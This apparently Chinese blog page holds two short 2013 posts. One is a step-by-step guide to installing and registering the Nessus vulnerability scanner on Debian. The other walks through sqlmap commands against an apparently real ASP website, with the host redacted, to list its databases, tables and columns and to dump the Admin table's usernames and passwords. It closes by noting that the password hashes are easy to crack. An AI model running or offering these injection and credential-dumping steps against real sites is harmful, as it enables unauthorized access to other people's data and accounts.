2013年9月10日星期二
debian 安装 nessus
1.下载nessus
http://www.nessus.org/products/nessus/select-your-operating-system
查看系统是32位的还是64位
manuel@manpc:~$ uname -a
Linux manpc 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
一般64的系统都会带有X86_64 ,而32位的都不带,一般是i386或者i686等。
选择与自己机型一致的版本
2.安装
dpkg -i Nessus-5.2.1-debian6_i386.deb
3.注册
获取注册码
http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code
选择 Nessus Home is free
填写资料,到邮箱收注册码,如 : 045B-30E4-F766-C5C8-6D93
4.获取Challenge code,来下载plugins插件下载地址
执行/opt/nessus/bin/nessus-fetch --challenge
得到类似: acea3a8217d4972b27bbeb15c32cdd91fe671b6c
5. 这个时候打开https://127.0.0.1:8834
会提示到下面页面注册
https://plugins.nessus.org/offline.php
输入3,4两步或得的注册嘛就行
6. 得到
第一步:照提示下载插件all-2.0.tar.gz
把all-2.0.tar.gz 放到/opt/nessus 目录
然后离线安装插件
/opt/nessus/bin/nessus-fetch --extract all-2.0.tar.gz
第二步: copy nessus-fetch.rc 替换原文件
/opt/nessus/etc/nessus /nessus-fetch.rc
7. 在nessusd.conf 中将auto_update值设置为yes
8. 创建一个Nessus用户
/opt/nessus/sbin/nessus-adduser
9. 启动Nessus服务
Service nessus start
登录https://127.0.0.1:8834 一定是https
2013年9月8日星期日
一次利用sqlmap的sql简单注入实例
1.--dbs 跑数据库名
./sqlmap -u http://xxxx/onews_zuixin.asp?id=257 --dbs
2. --tables 跑表名
./sqlmap -u http://xxxx/onews_zuixin.asp?id=257 --tables -D LibraryWeb
16张表,太卡了,看的出admin表可用
3. --columns 跑字段名
./sqlmap -u http://xxxx/onews_zuixin.asp?id=257 --columns -D LibraryWeb -T Admin

admin和password字段可用
4. --dump 跑用户名密码数据
./sqlmap -u http://xxxx/onews_zuixin.asp?id=257 --dump -D LibraryWeb -T Admin -C "admin,password"

其实,不爆columns 表名的话,直接dump也是能爆出来密码的,如下:
./sqlmap -u http://xxxx/onews_zuixin.asp?id=257 --dump -D LibraryWeb -T Admin

然后,解密 一看这密码就乐了,雷池加密啊,很好解的.


